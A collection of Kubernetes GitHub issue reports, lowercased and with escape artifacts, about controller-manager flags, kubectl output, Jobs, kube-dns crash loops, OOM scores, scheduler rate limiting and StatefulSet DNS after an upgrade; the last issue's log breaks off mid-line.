<!-- this form is for bug reports and feature requests only! \r \r the controller-manager has a wrong md5sum can start\r \r occur:\r  root@server110 scripts   md5sum /usr/bin/kube-controller-manager \r f7d4a4aa278eea10ea6ce76c171566d9  /usr/bin/kube-controller-manager\r \r right:\r ricl@ricl:~/downloads/kubernetes/server/bin$ md5sum kube-controller-manager\r b944c43336e9014dd7baa2703c179674  kube-controller-manager\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >  >  \r \r   what happened  :\r the kube-controller-manager can start, but when i use tls, it says parameter not defined, like below, then i check the md5sum of it, it show's that it has a wrong md5sum \r   what you expected to happen  :\r \r \r   how to reproduce it  as minimally and precisely as possible   :\r copy binary when extract like  tar zxvf server.tar.gz && cp kubernetes/server/bin/  /usr/bin \r \r   anything else we need to know?  :\r the log of start up, without a parameter of --cluster-signing-cert-file\r    \r ul  5 16:41:07 server110 kube-controller-manager: unknown flag: --cluster-signing-cert-file\r jul  5 16:41:07 server110 kube-controller-manager: usage of /usr/bin/kube-controller-manager:\r jul  5 16:41:07 server110 kube-controller-manager: --address string                           the ip address to serve on  set to 0.0.0.0 for all interfaces   default \ 0.0.0.0\  \r jul  5 16:41:07 server110 kube-controller-manager: --algorithm-provider string                the scheduling algorithm provider to use, one of: clusterautoscalerprovider | defaultprovider  default \ defaultprovider\  \r jul  5 16:41:07 server110 kube-controller-manager: --alsologtostderr                          log to standard error as well as files\r jul  5 16:41:07 server110 kube-controller-manager: --contention-profiling                     enable lock contention profiling, if profiling is enabled\r jul  5 16:41:07 server110 kube-controller-manager: --feature-gates mapstringbool              a set of key=value pairs that describe feature gates for alpha/experimental features. options are:\r jul  5 16:41:07 server110 kube-controller-manager: accelerators=true|false  alpha - default=false \r jul  5 16:41:07 server110 kube-controller-manager: affinityinannotations=true|false  alpha - default=false \r jul  5 16:41:07 server110 kube-controller-manager: allalpha=true|false  alpha - default=false \r jul  5 16:41:07 server110 kube-controller-manager: allowexttrafficlocalendpoints=true|false  beta - default=true \r jul  5 16:41:07 server110 kube-controller-manager: apparmor=true|false  beta - default=true \r jul  5 16:41:07 server110 kube-controller-manager: dynamickubeletconfig=true|false  alpha - default=false \r jul  5 16:41:07 server110 kube-controller-manager: dynamicvolumeprovisioning=true|false  alpha - default=true \r jul  5 16:41:07 server110 kube-controller-manager: experimentalcriticalpodannotation=true|false  alpha - default=false \r jul  5 16:41:07 server110 kube-controller-manager: experimentalhostusernamespacedefaulting=true|false  beta - default=false \r jul  5 16:41:07 server110 kube-controller-manager: streamingproxyredirects=true|false  beta - default=true \r jul  5 16:41:07 server110 kube-controller-manager: taintbasedevictions=true|false  alpha - default=false \r jul  5 16:41:07 server110 kube-controller-manager: --hard-pod-affinity-symmetric-weight int   requiredduringscheduling affinity is not symmetric, but there is an implicit preferredduringscheduling affinity rule corresponding to every requiredduringscheduling affinity rule. --hard-pod-affinity-symmetric-weight represents the weight of implicit preferredduringscheduling affinity rule.  default 1 \r jul  5 16:41:07 server110 kube-controller-manager: --kube-api-burst int32                     burst to use while talking with kubernetes apiserver  default 100 \r jul  5 16:41:07 server110 kube-controller-manager: --kube-api-content-type string             content type of requests sent to apiserver.  default \ application/vnd.kubernetes.protobuf\  \r jul  5 16:41:07 server110 kube-controller-manager: --kube-api-qps float32                     qps to use while talking with kubernetes apiserver  default 50 \r jul  5 16:41:07 server110 systemd: kube-controller-manager.service: main process exited, code=exited, status=2/invalidargument\r jul  5 16:41:07 server110 kube-controller-manager: --kubeconfig string                        path to kubeconfig file with authorization and master location information.\r jul  5 16:41:07 server110 kube-controller-manager: --leader-elect                             start a leader election client and gain leadership before executing the main loop. enable this when running replicated components for high availability.  default true \r jul  5 16:41:07 server110 kube-controller-manager: --leader-elect-lease-duration duration     the duration that non-leader candidates will wait after observing a leadership renewal until attempting to acquire leadership of a led but unrenewed leader slot. this is effectively the maximum duration that a leader can be stopped before it is replaced by another candidate. this is only applicable if leader election is enabled.  default 15s \r jul  5 16:41:07 server110 kube-controller-manager: --leader-elect-renew-deadline duration     the interval between attempts by the acting master to renew a leadership slot before it stops leading. this must be less than or equal to the lease duration. this is only applicable if leader election is enabled.  default 10s \r jul  5 16:41:07 server110 kube-controller-manager: --leader-elect-retry-period duration       the duration the clients should wait between attempting acquisition and renewal of a leadership. this is only applicable if leader election is enabled.  default 2s \r \r    \r \r   environment  :\r - kubernetes version  use  kubectl version  : client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.6\ , gitcommit:\ 7fa1c1756d8bc963f1a389f4a6937dc71f08ada2\ , gittreestate:\ clean\ , builddate:\ 2017-06-16t18:34:20z\ , goversion:\ go1.7.6\ , compiler:\ gc\ , platform:\ linux/amd64\ }, server is the same\r - cloud provider or hardware configuration  : no\r - os  e.g. from /etc/os-release : centos 7.3\r - kernel  e.g.  uname -a  : linux server110 3.10.0-514.21.1.el7.x86_64  1 smp thu may 25 17:04:51 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r - install tools: manual\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r 1、when error has occur，we should not print header\r    \r kubectl get storageclass --all-namespaces\r namespace   name      type\r error: storageclass is not namespaced\r    \r 2、 when i get ns use --all-namespaces, i get namespace column, we should return error: storageclass is not namespaced\r    \r admindemacbook-pro-2:kubectl admin$ ./kubectl get ns --all-namespaces\r namespace   name          status        age\r             default       active        115d\r             kube-public   active        115d\r             kube-system   active        115d\r             la            active        20h\r             test          terminating   15d\r             tt            active        21h\r    \r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

is this a bug report or feature request?  :\r   \r   what happened  :\r - i had a daemonset deployed to namespace ns1\r - i changed the namespace, and applied the same daemonset to namespace ns2\r - i deleted the daemonset in ns1\r - pods were cleared up in ns1\r - no daemonset pods were created in ns2\r \r   what you expected to happen  :\r \r there should have been pods created in ns2\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r see above.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.5\ , gitcommit:\ cce11c6a185279d037023e02ac5249e14daa22bf\ , gittreestate:\ clean\ , builddate:\ 2017-12-07t18:09:00z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.5\ , gitcommit:\ cce11c6a185279d037023e02ac5249e14daa22bf\ , gittreestate:\ clean\ , builddate:\ 2017-12-07t16:05:18z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r

given       type foo struct {    spec foospec }      if you have a custom conversion for foo and that func does not explicitly call convert   on foospec,  then no conversion function will be called on spec - not too surprising.  however - it will also bypass the defaulting function of foospec.  this is a bit more surprising.  worse - the tests for defaults run with no custom conversion functions loaded, it seems, so even though things pass the test, they don't actually work.  this needs some thought or at least some good docs.

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r when one pod is running and has two containers. container 1 exits with success and container 2 is running.\r  kubectl get test -o=json  gives correct info -  the pod status is  running . \r however,  kubectl get pod test -o=wide , the pod status is  completed .\r \r \r \r   what you expected to happen  :\r  kubectl get pod test -o=wide , the pod status is  running .\r \r   how to reproduce it  as minimally and precisely as possible   :\r    \r apiversion: v1\r kind: pod\r metadata:\r   name: test\r   labels:\r     name: test\r spec:\r   restartpolicy: never\r   containers:\r   - name: test1\r     image: busybox\r     command:  \ sh\ , \ -c\ , \ echo hello\  \r   - name: test2\r     image: busybox\r     command:  \ sh\ , \ -c\ , \ sleep 10000\  \r    \r \r   anything else we need to know?  :\r \r   environment  : \r - kubernetes version  use  kubectl version  : 1.9.3\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

  \r this is a feature request resulting from: \r https://github.com/kubernetes/kubernetes/issues/62415\r \r   what happened  :\r i run a job with a volume that references a non-existent config map. \r i get an error message like \r \ mountvolume.setup failed for volume \ some-volume\  : configmaps \ some-missing-config-map\  not found\ \r the pod sits with a \ pending\  status if viewed from the pod in the dashboard, or \ waiting: containercreating\  status if viewed from the job.\r the dashboard shows \ pods: 1 active  0 succeeded  0 failed\  under the job status.\r the status returned by an api call to the job has \ active\ : 1\r \r \r       \ status\ : {\r         \ starttime\ : \ 2018-04-11t16:54:46z\ ,\r         \ active\ : 1\r       }\r \r \r   what you expected to happen  :\r when the pod/container failure happens, i expect the status returned by an api call to have \ failed\ : 1\r \r   how to reproduce it  as minimally and precisely as possible   :\r create a job with this spec:\r \r \r \r \tapiversion: batch/v1\r \tkind: job\r \tmetadata:\r \t  name: my-job\r \tspec:\r \t  template:\r \t    spec:\r \t      containers:\r \t      - name: my-container\r \t\timage: docker.io/python:latest\r \t\timagepullpolicy: always\r \r \t\tvolumemounts:\r \t\t- name: config-volume\r \t\t  mountpath: /etc/my-job/job.cfg\r \t\t  readonly: true\r \t\t  subpath: job.cfg\r \r \t\tcommand:  \ /bin/bash\ , \ -c\  \r \t\targs:\r \t\t- echo \ hello world\ ;\r \r \t      volumes:\r \t      - name: config-volume\r \t\tconfigmap:\r \t\t  name: missing-config-map\r \t\t  defaultmode: 0644\r \r \t      restartpolicy: never\r \t  backofflimit: 0\r \r \r   anything else we need to know?  :\r would also like the job to fail if the container image can't be pulled. would be nice to be able to specify in the job spec how many image pull attempts to make before failing. if i have a typo in the image name, or it's not accessible in my docker registry, i want the job to fail so i can find that out immediately at job submission/creation time, without having to occasionally look through the job list in the dashboard to find ones with the failures recorded in their details.\r \r   environment  :\r - kubernetes version:\r client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.2\ , gitcommit:\ 5fa2db2bd46ac79e5e00a4e6ed24191080aa463b\ , gittreestate:\ clean\ , builddate:\ 2018-01-18t10:09:24z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.3\ , gitcommit:\ d2835416544f298c919e2ead3be3d0864b52323b\ , gittreestate:\ clean\ , builddate:\ 2018-02-07t11:55:20z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration:\r 4 centos machines -- 1 master, 3 minions\r \r - os  e.g. from /etc/os-release :\r name=\ centos linux\ \r version=\ 7  core \ \r id=\ centos\ \r id_like=\ rhel fedora\ \r version_id=\ 7\ \r pretty_name=\ centos linux 7  core \ \r ansi_color=\ 0;31\ \r cpe_name=\ cpe:/o:centos:centos:7\ \r home_url=\ https://www.centos.org/\ \r bug_report_url=\ https://bugs.centos.org/\ \r \r centos_mantisbt_project=\ centos-7\ \r centos_mantisbt_project_version=\ 7\ \r redhat_support_product=\ centos\ \r redhat_support_product_version=\ 7\ \r \r - kernel  e.g.  uname -a  :\r linux k8s.master 3.10.0-514.10.2.el7.x86_64  1 smp fri mar 3 00:04:05 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r

 \r i think it would be very useful for the labels of resources to propagate to the events.\r if i create a  deployment , the labels propagate to the  replicaset  and to the  pods , but not to the  events  created by any of those resources.\r it would be very nice to list events by labels and get everything related to my deployment.\r

<!-- please only use this template for submitting reports about failing tests in kubernetes ci jobs -->\r \r   which jobs are failing  :\r  https://testgrid.k8s.io/sig-release-1.14-all gke-cos-1.14-default  https://testgrid.k8s.io/sig-release-1.14-all gke-cos-1.14-default \r \r   which test s  are failing  :\r     k8s.io  nodelease when the nodelease feature is enabled the kubelet should create and update a lease in the kube-node-lease namespace \r     k8s.io  nodelease when the nodelease feature is enabled the kubelet should report node status infrequently \r \r  https://prow.k8s.io/view/gcs/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-cos-k8sbeta-default/9520  https://prow.k8s.io/view/gcs/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-cos-k8sbeta-default/9520 \r \r   since when has it been failing  :\r since they were created, around 2/19 for the cut of v1.14.0-beta.\r \r   testgrid link  :\r https://testgrid.k8s.io/sig-release-1.14-all gke-cos-1.14-default\r \r   reason for failure  :\r looks like a timeout\r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/common/node_lease.go:45\r timed out after 300.000s.\r expected\r     < errors.statuserror | 0xc000a84990>: {\r         errstatus: {\r             typemeta: {kind: \ \ , apiversion: \ \ },\r             listmeta: {selflink: \ \ , resourceversion: \ \ , continue: \ \ },\r             status: \ failure\ ,\r             message: \ leases.coordination.k8s.io \\\ gke-test-ff924dde89-default-pool-eddf5aa8-dc46\\\  not found\ ,\r             reason: \ notfound\ ,\r             details: {\r                 name: \ gke-test-ff924dde89-default-pool-eddf5aa8-dc46\ ,\r                 group: \ coordination.k8s.io\ ,\r                 kind: \ leases\ ,\r                 uid: \ \ ,\r                 causes: nil,\r                 retryafterseconds: 0,\r             },\r             code: 404,\r         },\r     }\r to be nil\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/common/node_lease.go:58\r    \r \r cc @mortent @kacole2 @mariantalla @smourapina\r \r  / /milestone v1.14\r 

recently @timothysc has suggested the idea of using backpressure for managing client connect storms through a lb endpoint.    as a corallary to that end, we've dug in and saw that the restclient implementation has a mixture of timed backoff/throttle logic.    as a way   to quantify requests and backoffs for requests into the apiserver, and also to determine what the real hotspots are, we can use a prometheus pushgateway in the restclient.    this basically allows us to, for a given time frame, collect metrics on how the restclient is being used or abused by nodes, clients, applications and so on.      of course, this   could   be estimated from apiserver metrics, but only the clients themselves are tracking backoff rates.    right now, the restclient has some metrics, but they aren't necessarily going to be collected for every connection in a system.  i am doing this experimentally now just for data gathering.  i can open a pr if folks are interested in having it in the upstream.

integrate closely with flannel and/or calico, via network plugins.

for example:      bash % kubectl get pods --namespace kube-system name                                                                   ready     status             restarts   age  ...  kube-dns-v14-bx8q3                                                     2/3       crashloopbackoff   25         1h  ...           bash % kubectl --namespace kube-system describe pod/kube-dns-v14-bx8q3 name:       kube-dns-v14-bx8q3 namespace:  kube-system node:       ip-172-20-91-250.us-west-1.compute.internal/172.20.91.250 start time: mon, 18 jul 2016 13:41:22 +0200 labels:     k8s-app=kube-dns,kubernetes.io/cluster-service=true,version=v14 status:     running ip:     100.96.5.3 controllers:    replicationcontroller/kube-dns-v14 containers:   kubedns:     container id:   docker://d1fafa0eadec972f66887c3e575e9d049f4b348e14dac96a577a6d91d323175d     image:      gcr.io/google_containers/kubedns-amd64:1.3     image id:       docker://sha256:e43041c3737569d3e218c9aae9013addd797c9b10f889aaf131c60eb4650cd5e     ports:      10053/udp, 10053/tcp     args:       --domain=cluster.local.       --dns-port=10053     qos tier:       cpu:  guaranteed       memory:   burstable     limits:       cpu:  100m       memory:   200mi     requests:       cpu:      100m       memory:       50mi     state:      waiting       reason:       crashloopbackoff     last state:     terminated       reason:       error       exit code:    255       started:      mon, 18 jul 2016 14:58:23 +0200       finished:     mon, 18 jul 2016 14:59:33 +0200     ready:      false     restart count:  25     liveness:       http-get http://:8080/healthz delay=60s timeout=5s period=10s  success=1  failure=5     readiness:      http-get http://:8081/readiness delay=30s timeout=5s period=10s  success=1  failure=3     environment variables:   dnsmasq:     container id:   docker://5ea40fd066740801b50a8c3be8fd4e406e2c1a349f13d421cf4fd0c71a456a06     image:      gcr.io/google_containers/dnsmasq:1.1     image id:       docker://sha256:d965753679e59e52913edbc2ab7eced430e4eaaa5cc10a8dc7002eadea2b2471     ports:      53/udp, 53/tcp     args:       --cache-size=1000       --no-resolv       --server=127.0.0.1 10053     qos tier:       cpu:      besteffort       memory:       besteffort     state:      running       started:      mon, 18 jul 2016 13:41:28 +0200     ready:      true     restart count:  0     environment variables:   healthz:     container id:   docker://0c503bb4439b832c0a199f3db420a30bd98ccce459c65413de480afc421e1722     image:      gcr.io/google_containers/exechealthz-amd64:1.0     image id:       docker://sha256:82a141f5d06d2136e324e44e90225c672509d6c453b6a96911d3a5b880a9e013     port:       8080/tcp     args:       -cmd=nslookup kubernetes.default.svc.cluster.local 127.0.0.1 >/dev/null       -port=8080     qos tier:       cpu:  guaranteed       memory:   guaranteed     limits:       memory:   20mi       cpu:  10m     requests:       cpu:      10m       memory:       20mi     state:      running       started:      mon, 18 jul 2016 13:41:29 +0200     ready:      true     restart count:  0     environment variables: conditions:   type      status   initialized   true   ready     false   podscheduled  true volumes:   default-token-hlg6g:     type:   secret  a volume populated by a secret      secretname: default-token-hlg6g events:   firstseen lastseen    count   from                            subobjectpath           type        reason      message   --------- --------    -----   ----                            -------------           --------    ------      -------   1h        4m      19  {kubelet ip-172-20-91-250.us-west-1.compute.internal}   spec.containers{kubedns}    normal      started      events with common reason combined    1h        4m      19  {kubelet ip-172-20-91-250.us-west-1.compute.internal}   spec.containers{kubedns}    normal      created      events with common reason combined    1h        4m      25  {kubelet ip-172-20-91-250.us-west-1.compute.internal}   spec.containers{kubedns}    normal      pulled      container image \ gcr.io/google_containers/kubedns-amd64:1.3\  already present on machine   1h        3m      108 {kubelet ip-172-20-91-250.us-west-1.compute.internal}   spec.containers{kubedns}    warning     unhealthy   readiness probe failed: get http://100.96.5.3:8081/readiness: dial tcp 100.96.5.3:8081: getsockopt: connection refused   1h        3m      30  {kubelet ip-172-20-91-250.us-west-1.compute.internal}   spec.containers{kubedns}    warning     unhealthy   liveness probe failed: http probe failed with statuscode: 503   1h        3m      17  {kubelet ip-172-20-91-250.us-west-1.compute.internal}   spec.containers{kubedns}    normal      killing      events with common reason combined    1h        2s      242 {kubelet ip-172-20-91-250.us-west-1.compute.internal}   spec.containers{kubedns}    warning     backoff     back-off restarting failed docker container   1h        2s      234 {kubelet ip-172-20-91-250.us-west-1.compute.internal}                   warning     failedsync  error syncing pod, skipping: failed to \ startcontainer\  for \ kubedns\  with crashloopbackoff: \ back-off 5m0s restarting failed container=kubedns pod=kube-dns-v14-bx8q3_kube-system 8d4beba2-4cdc-11e6-9445-02083ebe7f49 \

hi all,    when i create a pod with configmap, it always report error: 'field fieldref: is required, found invalid field configmap for v1.envvarsource', i am using k8s v1.2.0 on centos7, below is my pod creating script.   apiversion: v1 kind: pod metadata:   name: dapi-test-pod spec:   containers:     - name: test-container       image: gcr.io/google_containers/busybox       command:   \ /bin/sh\ , \ -c\ , \ env\          env:         - name: special_level_key           valuefrom:             configmap:               configmapname: special-config               key: special.how   restartpolicy: never   i also use secretkeyref to replace of configmap, but it does not work still. thanks for your reply.

create a deployment as below:\r \r     apiversion: extensions/v1beta1\r     kind: deployment\r     metadata:\r       labels:\r         owt: hello\r         pdl: com\r         app: world\r         idc: xg\r         add: parameters-48\r       name: parameters-48\r     spec:\r       replicas: 2\r       template:\r         metadata:\r           labels:\r             name: parameters-48\r         spec:\r           containers:\r           - name: mofang-web\r             image: registry.cc.com/online/mofang:stable\r           nodeselector:\r             node:cc\r \r login to node found the container's pid, then check its oom score:\r \r     cat /proc/21606/oom_adj\r     -16\r     cat /proc/21606/oom_score\r     0\r     cat /proc/21606/oom_score_adj\r     -999\r \r according user guide page: https://github.com/kubernetes/community/blob/master/contributors/design-proposals/resource-qos.md, this pod should be a \ best-effort\  pod, but its oom_score_adj not 1000 but -999.\r by the way -999 means won't be oom killed.

/assign @saad-ali @childsb \r \r the   k8s.io  persistentvolumes:gcepd  volume  should test that deleting the namespace of a pvc and pod causes the successful detach of persistent disk  test flakes presubmit testing in prs six times per week\r \r the https://go.k8s.io/triage site can focus on just this test:  link  https://storage.googleapis.com/k8s-gubernator/triage/index.html?pr=1&test=should%20test%20that%20deleting%20the%20namespace%20of%20a%20pvc%20and%20pod%20causes%20the%20successful%20detach%20of%20persistent%20disk \r \r which shows that 83 out of 85 errors match this pattern:\r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/storage/persistent_volumes-gce.go:163\r expected error:\r     < errors.errorstring | 0xc42043c110>: {\r         s: \ timed out waiting for the condition\ ,\r     }\r     timed out waiting for the condition\r not to have occurred\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/storage/persistent_volumes-gce.go:159\r    \r

hello,\r \r i have faced with following case and haven't found clear answer for me.\r \r preconditions:\r - i have kubernetes cluster\r - there are some options related to my application  for example debug_level=error \r - there are pods running and each of them uses configuration  env, mount path or cli args \r - later i need to change value of some option  the same 'debug_level' error -> debug \r the q is:\r how should i notify my pods that configuration has changed? \r earlier we could just send hup signal to the exact process directly or call  systemctl reload app.service \r \r what are the best practices for this use-case?\r \r thanks.\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r  \r \r   what happened  :\r when a pod failed to get scheduled, scheduler will keep calling get pod to try schedule it.\r see \r https://github.com/kubernetes/kubernetes/blob/master/plugin/pkg/scheduler/scheduler.go l174, https://github.com/kubernetes/kubernetes/blob/master/plugin/pkg/scheduler/factory/factory.go l718, and https://github.com/kubernetes/kubernetes/blob/master/plugin/pkg/scheduler/factory/factory.go l926l974.\r \r in our test environment, we met the case that there are lot of failed-scheduling pods, the leader election requests get blocked by client-side ratelimiter and scheduler keep panic/restart.\r \r   what you expected to happen  :\r this can be part of more fine grained rate limiting in big clusters.\r but for here, to have a quick fix, we can consider use an individual client for leader election and another for data fetching requests e.g. get pods.

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r after i upgrade from 1.6.6 yo 1.7.3\r statefulset drone-server with headless service drone-server\r nslookup drone-server-0.drone-server return  nslookup: can't resolve 'drone-server-0.drone-server': name does not resolve \r \r   what you expected to happen  :\r \r return a valid dns record\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r kubectl apply the yaml from https://github.com/yaoshipu/aslan-platform/tree/spock/reaper/kubernetes/http on a k8s 1.6.6 cluster\r \r i believe my statefullset yaml file for drone-server is valid:\r    yaml\r ---\r apiversion: v1\r kind: service\r metadata:\r   name: drone-server\r   namespace: spock\r   labels:\r     ke-app: drone\r     ke-svc: server\r spec:\r   ports:\r     - name: http\r       port: 80\r       protocol: tcp\r       targetport: 80\r   selector:\r     ke-app: drone\r     ke-svc: server\r   clusterip: none\r ---\r apiversion: apps/v1beta1\r kind: statefulset\r metadata:\r   name: drone-server\r   namespace: spock\r   labels:\r     ke-app: drone\r     ke-svc: server\r spec:\r   servicename: drone-server\r   replicas: 1\r   template:\r     metadata:\r       labels:\r         ke-app: drone\r         ke-svc: server\r     spec:\r       imagepullsecrets:\r         - name: drone-secrets\r       containers:\r         - image: drone/drone:0.7.3\r           name: drone-server\r           env:\r             - name: docker_api_version\r               valuefrom:\r                 configmapkeyref:\r                   name: drone-config\r                   key: docker.api.version\r             - name: drone_server_host\r               valuefrom:\r                 configmapkeyref:\r                   name: drone-config\r                   key: server.host\r             - name: drone_server_addr\r               value: \ :80\ \r             - name: drone_debug\r               valuefrom:\r                 configmapkeyref:\r                   name: drone-config\r                   key: server.debug.is.enabled\r             - name: drone_secret\r               valuefrom:\r                 secretkeyref:\r                   name: drone-secrets\r                   key: server.secret\r             - name: drone_database_driver\r               valuefrom:\r                 configmapkeyref:\r                   name: drone-config\r                   key: server.database.driver\r             - name: drone_database_datasource\r               valuefrom:\r                 configmapkeyref:\r                   name: drone-config\r                   key: server.database.config\r             - name: drone_open\r               valuefrom:\r                 configmapkeyref:\r                   name: drone-config\r                   key: server.is.open\r             - name: drone_orgs\r               valuefrom:\r                 configmapkeyref:\r                   name: drone-config\r                   key: server.orgs.list\r             - name: drone_admin\r               valuefrom:\r                 configmapkeyref:\r                   name: drone-config\r                   key: server.admin.list\r             - name: drone_admin_all\r               valuefrom:\r                 configmapkeyref:\r                   name: drone-config\r                   key: server.admin.everyone.is.admin\r             - name: drone_github\r               valuefrom:\r                 configmapkeyref:\r                   name: drone-config\r                   key: server.remote.github.is.enabled\r             - name: drone_github_client\r               valuefrom:\r                 configmapkeyref:\r                   name: drone-config\r                   key: server.remote.github.client.id\r             - name: drone_github_secret\r               valuefrom:\r                 secretkeyref:\r                   name: drone-secrets\r                   key: server.remote.github.secret\r             - name: drone_github_git_username\r               valuefrom:\r                 secretkeyref:\r                   name: drone-secrets\r                   key: server.remote.github.username\r           ports:\r             - containerport: 80\r               protocol: tcp\r           resources:\r             limits:\r               cpu: 2000m\r               memory: 4gi\r             requests:\r               cpu: 1000m\r               memory: 2gi\r    \r \r   anything else we need to know?  :\r \r this happens after i upgrade k8s from 1.6.6 to 1.7.3\r \r 1. i created this statefulset on a k8s cluster with version 1.6.6 apiserver, scheduler, controller-manager , and it works as i expected.\r \r 2. i upgrade the k8s cluster to 1.7.3 by upgrade apiserver, scheduler, controller-manager and kubelet step by step.\r \r 3. kube-dns version: 1.14.1 gcr.io/google_containers/k8s-dns-kube-dns-amd64:1.14.1 \r \r 4.  kube-dns logs\r \r before upgrade:\r    text\r i0729 06:42:17.697058       1 dns.go:264  new service: drone-server\r i0729 06:42:17.697068       1 dns.go:548  could not find endpoints for service \ drone-server\  in namespace \ spock\ . dns records will be created once endpoints show up.\r i0729 06:42:17.697406       1 dns.go:264  new service: drone-server\r i0729 06:42:17.697418       1 dns.go:548  could not find endpoints for service \ drone-server\  in namespace \ default\ . dns records will be created once endpoints show up.\r i0729 06:42:17.704426       1 dns.go:494  added srv record &{host:drone-server-0.drone-server.default.svc.cluster.local. port:80 priority:10 weight:10 text: mail:false ttl:30 targetstrip:0 group: key:}\r i0729 06:42:17.705562       1 dns.go:494  added srv record &{host:drone-server-0.drone-server.spock.svc.cluster.local. port:80 priority:10 weight:10 text: mail:false ttl:30 targetstrip:0 group: key:}\r i0729 06:47:17.634425       1 dns.go:494  added srv record &{host:drone-server-0.drone-server.spock.svc.cluster.local. port:80 priority:10 weight:10 text: mail:false ttl:30 targetstrip:0 group: key:}\r i0729 06:47:17.634713       1 dns.go:494  added srv record &{host:drone-server-0.drone-server.default.svc.cluster.local. port:80 priority:10 weight:10 text: mail:false ttl:30 targetstrip:0 group: key:}\r    \r \r after upgrade\r    text\r i0807 03:42:19.069513       1 dns.go:494  added srv record &{host:drone-server-0.drone-server.spock.svc.cluster.local. port:80 priority:10 weight:10 text: mail:false ttl:30 targetstrip:0 group: key:}\r i0807 03:50:05.578527       1 dns.go:494  added srv record &{host:drone-server-0.drone-server.default.svc.cluster.local. port:80 priority:10 weight:10 text: mail:false ttl:30 targetstrip:0 group: key:}\r i0807 03:50:05.579140       1 dns.go:494  added srv record &{host:drone-server-0.drone-server.spock.svc.cluster.local. port:80 priority:10 weight:10 text: mail:false ttl:30 targetstrip:0 group: key:}\r i0807 03:50:05.580987       1 dns.go:264  new service: drone-server\r i0807 03:50:05.581099       1 dns.go:494  added srv record &{host:drone-server-0.drone-server.spock.svc.cluster.local. port:80 priority:10 weight:10 text: mail:false ttl:30 targetstrip:0 group: key:}\r i0807 03:50:05.583750       1 dns.go:264  new service: drone-server\r i0807 03:50:05.583793       1 dns.go:494  added srv record &{host:drone-server-0.drone-server.default.svc.cluster.local. port:80 priority:10 weight:10 text: mail:false ttl:30 targetstrip:0 group: key:}\r i0807 03:52:36.021686       1 dns.go:494  added srv record &{host:3465346530386466.drone-server.default.svc.cluster.local. port:80 priority:10 weight:10 text: mail:false ttl:30 targetstrip:0 group: key:}\r i0807 03:52:36.575082       1 dns.go:494  added srv record &{host:3238653332616432.drone-server.spock.svc.cluster.local. port:80 priority:10 weight:10 text: mail:false ttl:30 targetstrip:0 group: key:}\r i0807 03:55:05.527063       1 dns.go:264  new service: drone-server\r i0807 03:55:05.527005       1 dns.go:494  added srv record &{host:3238653332616432.drone-server.spock.svc.cluster.local. port:80 priority:10 weight:10 text: mail:false ttl:30 targetstrip:0 group: key:}\r i0807 03:55:05.527128       1 dns.go:494  added srv record &{host:3238653332616432.drone-server.spock.svc.cluster.local. port:80 priority:10 weight:10 text: mail:false ttl:30 targetstrip:0 group: key:}\r i0807 03:55:05.527611       1 dns.go:494  added srv record &{host:3465346530386466.drone-server.default.svc.cluster.local. port:80 priority:10 weight:10 text: mail:false ttl:30 targetstrip:0 group: key:}\r i0807 03:55:05.529048       1 dns.go:264  new service: drone-server\r i0807 03:55:05.529116       1 dns.go:494  added srv record &{host:3465346530386466.drone-server.default.svc.cluster.local. port:80 priority:10 weight:10 text: mail:false ttl:30 